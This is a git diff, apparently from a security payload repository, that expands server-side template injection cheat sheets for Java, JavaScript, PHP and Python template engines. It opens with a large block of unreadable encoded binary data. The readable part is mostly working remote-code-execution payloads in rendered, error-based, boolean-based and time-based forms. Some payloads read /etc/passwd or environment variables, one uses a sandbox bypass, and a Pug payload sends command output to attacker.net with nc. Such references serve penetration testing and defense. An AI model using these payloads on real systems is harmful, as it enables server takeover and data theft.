zP^ETm)U$J->J6!B12blTN#l8sO2-B98glPv5q#Oid_6q$QMNy;%TsZC&;c(_UF1fd zFEenL9fJMo0Ndvl_vCT|O$CFfr%YvpMpQLZ8#wdg!Mc=&AFj?uG&=P$mu~>DPy6+A zvx!M=owAL@pF9{nD>IP#B3@*y5<(fFq)=>}aK29~;DA}Uv89+K+;|E(S4WSEbLLXrQU8LP+oYl*aoI5wVNOG; z$e1w??T!FDc|!F^hwh~bReSot1a&kj^2vDpgA(@q zW&q}D1mA{sQ{6Rj4;@Ib1S!T& zHsSSd6CP%A2mL~1N*vZ9_01<$TZ01%tdQ`-(dzaw9mwj;;Q_DP)jMSBeo-3k0TZ%6 z!>&GqUf4VnBV#X40^}TcWPx zS(Sv)G@5+n#vb)mBc1kH{w7J339j>r;AGu$8%6Hqbf8f@Hb16yz9FLA!XN=$JaYaGm54)LUhwD)hJWgg51qI(IUn@JK@gr%1Dvs_slb z4lgbn+HR;W60iv$ESw*0fih1BLMz5^ozq}yxu7(W&!@8RiNZL2pKkWv>*(S9(Qv%@ zL*#`9x(pZp+noNkv8e`#)w@IRy5X3&X8PlIB>ie`}m#1ha)2(pwN%a{4 z%)mFxuqJi?TQBv~P3TvGM2p&nR7IZ6jfypJnmuoTQr&uSb^FuDyURIVaI``7lmkni zB{s5DLD2aJS(9*$ebWx#r2i;Q&Ff*I*qNPk!FQ_^i03}%+xlXbox7i!l)f-(@#pr( z#&2qIiTR&lk=pE7=)K|HU^+=3!0Xhd31QKi=w>Sf#Yp4xoU0%-w-`dNtQU%e$N@d- z4(!9JcLpWfsDM^tc!Wyx^@&w9?b3rmi9e>i{BKUs)1I#X_(!-&xLQIgR{eS$-z(B| zLt#+7c4e29*%4o9x?uJeu5S-dd5l#P956%EWp%}TTth95*}cRr!ZbV06d@3piq7!! zVU5atD=CFeQuJ@8?yln9R})6=#ap>^c&*mKn?Z^>KC}|CFo`?DJ!%%rIfpJV5A9V) zZf#mE3ex<@5$DGY$+iadi8k1id_U7uXgl-*$^eUAW@9~3^*VEp3cH-@{cYv;zoR~X z^gbE0#DsU*SxfP7S=uDKg?4P5csz^t=W*~^KlNQc)?pv59`K= zM&;tk1&``=CHn9$(I-px&3eu*n6y)!F^Gb}P#1V{;aXyR*nJvI>yoMz9BtyxL)_Z_ z7Wy!|v;7vk7Rq5&425^gw;|j9hGG6H<(hJV>S8_Gb0tDdGGn!5i3-ub>cK>el%Qqf zF8yUjZ3pSgQ3$xc^1|Z1r&9ssFK?(IZl-N%iqSCKAAs8*bn#4ke>#cX0suam+4to^ zow$iKiXy;m60OmF0K}_4kV-iyf^fu65X@h@K6}$H0^%RM`X2MPy*udEkWfq*ny|HE{;13(jK9PQMH(xWH(stU zTkaQAUXMOC^;%?o;Dz1I&YE%fwBs#}F3Z-q?J%UKtQXD8ZIjp!eyy2usiXd{ zK66rbGG`*0!z5P>GxKH^xZbF%fm06oob(h=W>WETKL@%;GE^RY$|z}Do~Z6i5#b5i z^}E8lF$FCv?6cwtSWTU!mrrp4WHS1YXKl4Z_TUQNa9Hqy3~b~4$+dSx8CM}2hc z(o_oknaDOW8JqjTY7@7DXUfkftduJpIc;Z~pcU9X-0jgub2x3mm8Odn=6)#uJQQo-LH|!d;D1AN^Nw!;T#vEwxGdS$rCl2zi4rP z1wgSgCszwvL~1^dcRPOJP8lNiaHp?lLSmt35REL7oE9ce8n; zp`Q;x4Gr3i1GK?*i&y9^A zz7v?nqXD|$_&InnY>lqorbsd`Y=U)1EFYZgN;7Rh(b{UR1}`?j&%wBsMgj@ zNK*suQ<5_h?R6_I-5Ygxww3FnIiRJ=qV=uj!9$HmOsv*1=TrQRh_2H~M}=Yw^sHHU z$bbRiW>L$4-AWp8J4a)BA^Y`$V zNH`%8Z4AMIV?}W#)0wcuxU+Ll0ieU(i(0a7HZMoXZsrvNN*IY}UQMkNE7dp>RL`z$ zIc=B4V>a%JD#_R$Edj}tO>x+VTnbQA;9LoG0n*%~&FtPbAA;kX!^ON(#g@J|)=)(Z zST`}EZe(nX#wYJx`o>sQwL4;`=emA%_jtN??uGHVNZqnVZc`a>My+mM#(1Mb3Hw%t zRJ5g@4eRcvD+A0({jv|%3@xBXMKvTb<64?7d-BsYL8X#xZLi)Lj7vi9F?d+uK_INz zm2YKyAA*>aqPPnn#&Xe;O-Me(_#ULYTl=eNS4dGy;MTe7{;=e@zTFMLv^|9A7r0@r zdN?eZiLrhU6nvk}Nqtgw0z60Fj_-!w8_v_^=`(chrrJ!L5*fT|Q14weQB_fl zWaw&=kJ$dlB?P6?T(UUW=j?x5SU9m8`kocE4Kp!_GF^!-soEI5Ym!~o`@qBJxM)-y zFq6WVx{LuLvo`#kjob+SA+Pt#ok7d$X7ca~un>G~=I3f7;bs5-y&3(@YlCY33Qr(* Zq+`D|`@@qk@I3}#WodVmaM<A?3HB6K1TKuqAa~xk}Vp0W65YR80FQJ z$r4${7-OFpTQrs##y8&gINsm;$M=25_xs~{p6kA!`?~JuxbE}3?(?}5EzM0p2Sg44 z001&GHMRl(&Q!KN%gf2WYiDj|u^${kRwkE$s&274c4ME1A;b^>YE${Q-S)HFeEz2P zK>#4ozISop{mSkDfY2#3V?&!z=S6a@FUj;HkN=#iQiD+p*ZQf2qlWoyQJk`n3N-0U zG1(C_6GDO(lbvYt$&0d2@=u%A4yro(KXvj^qMU4%^f-G%NSdH7orIQIUc_Rt!a!Q>?)7Lcpz-%XAWhp71T?<*4~8zDegjL^`?20H4?O*W5WGx#5bUIo z1@eSNp|1+O8(TG_ZMr@4q2oDM4&LgV?FH=C@-N?wr0w+QV8>^Jad4JxwXka(BkOp} zAd3}M31`*T=IZF2htccW(Tq#UVs~0*G=*B3^N`KDjTxCL?so0g)5V)*s(MX373H>N zzepyRlmR`;8)FA?Oe(d(>P+WyreXdU2$F61H8+}>#18^4=j z*HIE!eaZh7Ghy%e2u4KHX#_Gsw8EL+!|#LQ4|gnuL=Tj7nP^Nty!x9q|j zV7@fRn-!GYkUmQPz^#B{f}WO-qbMr1z@YY!g_P|RLTpogHTZ!+3|PenjL+%3>~)a9 zt>T+}f9CD#{NW0M`wmoEAtA2jBFeV1%OzPErW>kbtd$*TRNo!{Spk*MN40yk`MonK z&)j}z%xkLProH-bDMOCuHmRt#=vAbwGc9;K2JlAqeS)A<>PR^InE{zVTe{hlXr;*s z7gVKPRm%OBOe=3WJaw=GfkUiL`G02268w#kE9=eYBBE_0PPDveDJm0NDMQ(c2)wfC z^3}DkNQ2`GUr-5S3S~ zwYuucgldX4|J4FVr}~FGL*WxWp_+rDxGN2MBIb@|;N^N?5VBxz7k1j+rh>UaXDR;;$$)OD6Zz;y|ABx-wfdXI5?$(Ppt3F42_ z;j%5gs+6RH1+RqgGBhs$u1dXpBB2UFyjbz_rumx6q5~IT)F%Q2dYlyl0!#h=3+4Xp zE7COO$e1stzwapS)G1f6T1Rp(hC61|%p3TehyL5Ri*=N!=QkPh%%e`eh)GBr^m!4r zL0ubU&2^E9Zt`D#JL$$lX1UgWem8L$#lpm{53PUOKr@<4x*I9FFX5{R9te$6CTgvK zfZ+csiz3QsxP*C@%LPsTnCQ$&w566#k!{jqNlPDwLYOqe4fSK`3^L`i+ZLUa+dyWo zZvU%-&n?Oto_sGMFe4>4=_l?Mt?8{ZH=LI->n_VTg>9>UH0*|`z!Q!Xg)L9N52Ck| z$pmxS`km#}V2o8zcfzufKK6-H{2 zLxk?An(1f~Yi47NMX54J^o0e6KRC=FDtBU&j$b)}X^noXn{9P?RI7L84kG7#OS@J% zx5I3OY35`t9oZS5({H|s4K31ot2L^16Savg8*Y@Jhg4+_5N4oa2nZpd`0elWc3B<` z^V^jJ48+#QUERfP`~0>7CMvpKYgbO)E^C?9pGc^W`!KMKsu4>SrY&Ug=qvm!9aXm#0*T*4ur>z!rAz7>!|$ zXBB#5gCf?45|5l~`q)v4J2%wnyu7uGpdBzN4Q9N%luX7QrGCdcUE^t3a2#TDHW;xs zajUwVXSb#i2__Z2jCI`C?jM1jTzUHgST|q4D%IakMeVrg3qE>ZGSYDADN5|Pax>^6 zrL4U!YlbgfwYg;WAtgdi=20FF5R7+&qv+v zNnZlMZ?>=1_1){(;DT+}83sCTS2)>K>2REO@szNz8{~o9wVqw!#8_VW9c^NMpdMULYwI&5;Aw*>8p@~k3irSw4Oz+%aZICuKw)| zW#19id6Q1QyDg(pL88;wV0BKDYPE4CQ5_VnrcN_U{_Xs3uqqW%t~dSyfGw`zuERzz zErw_-LWtuCP}(s_fYdJ($7#e~U6Vy|gg#r_REoa$1Ca>sHP!()|17nTdudVObaw+m3RV;I|D&00z1ScyNgU=c06UeduYnISw zhuZ7S#8jXMHOygLy$3a0bp8xK_h+^oeqi`0#emWi3i1p0=<$%3;jR_&&$`|Xgz^HLU$i9^NvBSKLLb?E7?1N zt7w;(WM$XwGF3+u3TNt2A?N$J6%53s(g1!^`7QTsiG81lEA2PrLh!*J z$(n*VH21L5Kt!aaxgcagy2j1`#^v)ovCRCsg-lHrgxz>kY62&I@KspOwqWN9Ak+4e zbh2?#JmNkECm!r)ZCFm(Q9PRIf`c>5S0?hs%lb{qLaO(#ubO(t{PqiX3LULIS6p9s zXdqk`lUFIRwB#HD!^nn5JC-U6S|#`4lU?yrUj=nL=chS zwlFQ7aH3~@nC#3x^qb{!^vQasJI}YDA;AWNAnT@{o z?kyPu@ktA>;tVV5d_vtV`A{0;2aS~0A9vgip-gzUD%-lwdS=}l5B3mMPkgEtQ@C0K zgFi^I#}6IVxXfOVID1c+chOEnuhNkWa7Xe5A%Qkz+MAo@=~St|2ozHq)_Xxa^)!m( zJt3Fp%bn|cPF~d*Vw>>p`MutbcM0X7SmjhS_xMkpT4#_as3uwDWUD%Ns|p(%Pt`Vm zH8o*V=T0D8(36hw}gi_@pDWvXpRs(#)n zVSdA6yzW9^mOBr5>4tr%rOgSF&0LPfqTc)EZ^OEVJ0;~(XxNZ@^2Z;*6{6ur7_>3) z#|`?#;o0xi+M$*~A_i+o0`2kFmTSx_I5wIz$*IR7^Ufx<=%AZbj&N>5Y-fOx<8@|6 z1~hzLcxVsRg)#^9!hgKEdi!u|abnc$%EOQ=&uD9@NWogUgzj10UYTDz8KW`PX3WIy*}r?y+uuGxUXzCD=r`tg9{;NaRm4rjd3a zS{$OFe2KT+8Z~zgFZpngt~_DfiAYQF53p~=ux2`5N5nH?^>>m1{%afUIp_XVP@~Ez zF|rv6?|vFCSvI;)YWlj>FpUL+!!}+;^2}>M3Jhj!Ofm>w%)D;b{(IMp!-_8rT6j3v zm+OXJh!nXX<0JyN0txpD>=yfxK6zqDo}QiDIPVjP$nR0%;+z}(Kbzfrp(5-(;@M*^ zgC!&wnC>>c1YAe{RY|AKVMDx#M>k+RF&@$=Jg+C9au#(&6J+on36C_VWb_>XbShEi z-kP8`*l=ILIOjNVPDF7p0^5@v@4Xs|;L(586@UtoSUDyh1J7rGWGGT@)|sRyBwm#< zLXdWJ4yw8UK&5+7{B{3H%=!w9AD->m?K`UB ztJog~uG`mjW#7x&`;+g4@<9U752YraQr;a!yc0y^_ zw=Eo)Xy0`scp{+l=u;4ptsOo;8LzJA^CW*ap|QuJufDQeTv1@K&myoOGg>JnrLmAJ zv`AJRIWnQCUh21#o=TMF?B(s6`~3tT&-hm2)|R?FN@BweYYd1WZ#Z$YOH_V#3~s2T zm~NyWn8j-_rG`o-wYAbG?GkBxu4ZZ-T`EEXKqKiZ+IiZ%i!9b=<(VXk^aHi69U6E_ z8b;?wA8s%PYz=Ocj_$>Jcse=_VotNqdUSoCtGilb^6*M4{nyROCJyLD$j| Java has multiple Expression Languages using similar syntax. > Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`. @@ -62,18 +64,14 @@ ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ``` -### Java - Retrieve Environment Variables - -```java -${T(java.lang.System).getenv()} -``` - -### Java - Retrieve /etc/passwd +### Java EL - Code Execution ```java -${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')} +${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE +${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE +${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE +${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // Time-Based RCE -${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` --- @@ -108,6 +106,10 @@ Convert the returned bytes to ASCII ${"freemarker.template.utility.Execute"?new()("id")} #{"freemarker.template.utility.Execute"?new()("id")} [="freemarker.template.utility.Execute"?new()("id")] + +${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE +${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE +${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE ``` ### Freemarker - Sandbox Bypass @@ -124,24 +126,6 @@ ${dwf.newInstance(ec,null)("id")} --- -## Codepen - -[Official website](https://codepen.io/) -> - -```python -- var x = root.process -- x = x.mainModule.require -- x = x('child_process') -= x.exec('id | nc attacker.net 80') -``` - -```javascript -#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} -``` - ---- - ## Jinjava [Official website](https://github.com/HubSpot/jinjava) @@ -259,6 +243,41 @@ A more flexible and stealthy payload that supports base64-encoded commands, allo #end ``` +Error-Based RCE payload: + +```java +#set($s="") +#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass())) +#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id") +#set($n=$p.waitFor()) +#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8")) +#include($b) +``` + +Boolean-Based RCE payload: + +```java +#set($s="") +#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")) +#set($n=$p.waitFor()) +#set($r=$p.exitValue()) +#if($r != 0) +#include("Y:/A:/xxx") +#end +``` + +Time-Based RCE payload: + +```java +#set($s="") +#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")) +#set($n=$p.waitFor()) +#set($r=$p.exitValue()) +#if($r != 0) +#set($t=$s.getClass().forName("java.lang.Thread").sleep(5000)) +#end +``` + --- ## Groovy @@ -310,6 +329,8 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val ## Spring Expression Language +> Java EL payloads also work for SpEL + [Official website](https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html) > The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality. @@ -321,6 +342,20 @@ ${7*7} ${'patt'.toString().replace('a', 'x')} ``` +### SpEL - Retrieve Environment Variables + +```java +${T(java.lang.System).getenv()} +``` + +### SpEL - Retrieve /etc/passwd + +```java +${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')} + +${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} +``` + ### SpEL - DNS Exfiltration DNS lookup @@ -390,3 +425,4 @@ ${pageContext.request.getSession().setAttribute("admin",true)} - [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/) - [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) - [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) diff --git a/Server Side Template Injection/JavaScript.md b/Server Side Template Injection/JavaScript.md index 36ed268054..f317f735bf 100644 --- a/Server Side Template Injection/JavaScript.md +++ b/Server Side Template Injection/JavaScript.md @@ -5,31 +5,56 @@ ## Summary - [Templating Libraries](#templating-libraries) +- [Universal Payloads](#universal-payloads) - [Handlebars](#handlebars) - [Handlebars - Basic Injection](#handlebars---basic-injection) - [Handlebars - Command Execution](#handlebars---command-execution) - [Lodash](#lodash) - [Lodash - Basic Injection](#lodash---basic-injection) - [Lodash - Command Execution](#lodash---command-execution) +- [Pug](#pug) - [References](#references) ## Templating Libraries -| Template Name | Payload Format | -| ------------ | --------- | -| DotJS | `{{= }}` | -| DustJS | `{}` | -| EJS | `<% %>` | -| HandlebarsJS | `{{ }}` | -| HoganJS | `{{ }}` | -| Lodash | `{{= }}` | -| MustacheJS | `{{ }}` | -| NunjucksJS | `{{ }}` | -| PugJS | `#{}` | -| TwigJS | `{{ }}` | -| UnderscoreJS | `<% %>` | -| VelocityJS | `#=set($X="")$X` | -| VueJS | `{{ }}` | +| Template Name | Payload Format | +|---------------|------------------| +| DotJS | `{{= }}` | +| DustJS | `{ }` | +| EJS | `<% %>` | +| HandlebarsJS | `{{ }}` | +| HoganJS | `{{ }}` | +| Lodash | `{{= }}` | +| MustacheJS | `{{ }}` | +| NunjucksJS | `{{ }}` | +| PugJS | `#{ }` | +| TwigJS | `{{ }}` | +| UnderscoreJS | `<% %>` | +| VelocityJS | `#=set($X="")$X` | +| VueJS | `{{ }}` | + +## Universal Payloads + +Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta. + +To use these payloads, wrap them in the appropriate tag. + +```javascript +// Rendered RCE +require("child_process").execSync("id") + +// Error-Based RCE +require("Y:/A:/"+require("child_process").execSync("id")) +""["x"][require("child_process").execSync("id")] + +// Boolean-Based RCE +[""][0 + !(require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"] + +// Time-Based RCE +require("child_process").execSync("id && sleep 5") +``` + +NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`. ## Handlebars @@ -120,7 +145,26 @@ ${= _.VERSION} {{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}} ``` +--- + +## Pug + +[Official website](https://pugjs.org/api/getting-started.html) +> + +```javascript +- var x = root.process +- x = x.mainModule.require +- x = x('child_process') += x.exec('id | nc attacker.net 80') +``` + +```javascript +#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} +``` + ## References - [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/) - [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) diff --git a/Server Side Template Injection/PHP.md b/Server Side Template Injection/PHP.md index cc3618c315..5762a55710 100644 --- a/Server Side Template Injection/PHP.md +++ b/Server Side Template Injection/PHP.md @@ -5,6 +5,7 @@ ## Summary - [Templating Libraries](#templating-libraries) +- [Universal Payloads](#universal-payloads) - [Smarty](#smarty) - [Twig](#twig) - [Twig - Basic Injection](#twig---basic-injection) @@ -22,16 +23,43 @@ ## Templating Libraries | Template Name | Payload Format | -| --------------- | --------- | -| Blade (Laravel) | `{{ }}` | -| Latte | `{var $X=""}{$X}` | -| Mustache | `{{ }}` | -| Plates | `` | -| Smarty | `{ }` | -| Twig | `{{ }}` | +|-----------------|----------------| +| Blade (Laravel) | `{{ }}` | +| Latte | `{ }` | +| Mustache | `{{ }}` | +| Plates | `` | +| Smarty | `{ }` | +| Twig | `{{ }}` | + +## Universal Payloads + +Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty. + +To use these payloads, wrap them in the appropriate tag. + +```php +// Rendered RCE +shell_exec('id') +system('id') + +// Error-Based RCE +ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based +fopen(join("", ["Y:/A:/", shell_exec('id')]), "r") +include(join("", ["Y:/A:/", shell_exec('id')])) +join("", ["xx", shell_exec('id')])() + +// Boolean-Based RCE +1 / (pclose(popen("id", "wb")) == 0) + +// Time-Based RCE +shell_exec('id && sleep 5') +system('id && sleep 5') +``` ## Blade +> Universal payloads also work for Blade. + [Official website](https://laravel.com/docs/master/blade) > Blade is the simple, yet powerful templating engine that is included with Laravel. @@ -45,6 +73,8 @@ The string `id` is generated with `{{implode(null,array_map(chr(99).chr(104).chr ## Smarty +> Universal payloads also work for Smarty before v5. + [Official website](https://www.smarty.net/docs/en/) > Smarty is a template engine for PHP. @@ -52,8 +82,8 @@ The string `id` is generated with `{{implode(null,array_map(chr(99).chr(104).chr {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} -{system('ls')} // compatible v3 -{system('cat index.php')} // compatible v3 +{system('ls')} // compatible v3, deprecated in v5 +{system('cat index.php')} // compatible v3, deprecated in v5 ``` --- @@ -109,6 +139,19 @@ $output = $twig > render ( {{['id']|filter('passthru')}} {{['id']|map('passthru')}} {{['nslookup oastify.com']|filter('system')}} + +{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // Enable verbose error output for Error-Based +{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // Error-Based RCE <= 1.19 +{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // Error-Based RCE >=1.41, >=2.10, >=3.0 + +{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19 +{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0 +{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614 +``` + +With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases: +```php +{{ {'id':'shell_exec'}|map('call_user_func')|join }} ``` Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is) @@ -128,6 +171,8 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld ## Latte +> Universal payloads also work for Latte. + ### Latte - Basic Injection ```php @@ -262,5 +307,6 @@ layout template: ## References -- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere- YesWeHack - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation) +- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation) - [Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) diff --git a/Server Side Template Injection/Python.md b/Server Side Template Injection/Python.md index 056d605710..a95c9e84bc 100644 --- a/Server Side Template Injection/Python.md +++ b/Server Side Template Injection/Python.md @@ -5,6 +5,7 @@ ## Summary - [Templating Libraries](#templating-libraries) +- [Universal Payloads](#universal-payloads) - [Django](#django) - [Django - Basic Injection](#django---basic-injection) - [Django - Cross-Site Scripting](#django---cross-site-scripting) @@ -37,15 +38,28 @@ ## Templating Libraries | Template Name | Payload Format | -| ------------ | --------- | -| Bottle | `{{ }}` | -| Chameleon | `${ }` | -| Cheetah | `${ }` | -| Django | `{{ }}` | -| Jinja2 | `{{ }}` | -| Mako | `${ }` | -| Pystache | `{{ }}` | -| Tornado | `{{ }}` | +|---------------|----------------| +| Bottle | `{{ }}` | +| Chameleon | `${ }` | +| Cheetah | `${ }` | +| Django | `{{ }}` | +| Jinja2 | `{{ }}` | +| Mako | `${ }` | +| Pystache | `{{ }}` | +| Tornado | `{{ }}` | + +## Universal Payloads + +Generic code injection payloads work for many Python-based template engines, such as Bottle, Chameleon, Cheetah, Mako and Tornado. + +To use these payloads, wrap them in the appropriate tag. + +```python +__include__("os").popen("id").read() # Rendered RCE +getattr("", "x" + __include__("os").popen("id").read()) # Error-Based RCE +1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE +__include__("os").popen("id && sleep 5").read() # Time-Based RCE +``` ## Django @@ -220,6 +234,13 @@ We can use these shorter payloads from [@podalirius_](https://twitter.com/podali {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` +Similar payloads could be used for Error-Based and Boolean-Based exploitation: + +```python +{{ cycler.__init__.__globals__.__builtins__.getattr("", "x" + cycler.__init__.__globals__.os.popen('id').read()) }} # Error-Based +{{ 1 / (cycler.__init__.__globals__.os.popen("id")._proc.wait() == 0) }} # Boolean-Based +``` + With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template: ```python @@ -303,6 +324,8 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by [@Se ## Tornado +> Universal payloads also work for Tornado. + ### Tornado - Basic Injection ```py @@ -321,6 +344,8 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by [@Se ## Mako +> Universal payloads also work for Mako. + [Official website](https://www.makotemplates.org/) > Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics. @@ -407,3 +432,4 @@ PoC : - [Jinja2 template injection filter bypasses - Sebastian Neef - August 28, 2017](https://0day.work/jinja2-template-injection-filter-bypasses/) - [Python context free payloads in Mako templates - podalirius - August 26, 2021](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/) - [The minefield between syntaxes: exploiting syntax confusions in the wild - YesWeHack - October 17, 2025](https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index f7a79f5e88..0a14036bce 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -1,15 +1,24 @@ # Server Side Template Injection -> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages +> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages. ## Summary - [Tools](#tools) - [Methodology](#methodology) - - [Identify the Vulnerable Input Field](#identify-the-vulnerable-input-field) - - [Inject Template Syntax](#inject-template-syntax) - - [Enumerate the Template Engine](#enumerate-the-template-engine) - - [Escalate to Code Execution](#escalate-to-code-execution) + - [Detection and Exploitation Techniques](#detection-and-exploitation-techniques) + - [Rendered](#rendered) + - [Error-Based](#error-based) + - [Boolean-Based](#boolean-based) + - [Time-Based](#time-based) + - [Out of Bounds](#out-of-bounds) + - [Polyglot-Based](#polyglot-based) + - [Universal Detection Payloads](#universal-detection-payloads) + - [Manual Detection and Exploitation](#manual-detection-and-exploitation) + - [Identify the Vulnerable Input Field](#identify-the-vulnerable-input-field) + - [Inject Template Syntax](#inject-template-syntax) + - [Enumerate the Template Engine](#enumerate-the-template-engine) + - [Escalate to Code Execution](#escalate-to-code-execution) - [Labs](#labs) - [References](#references) 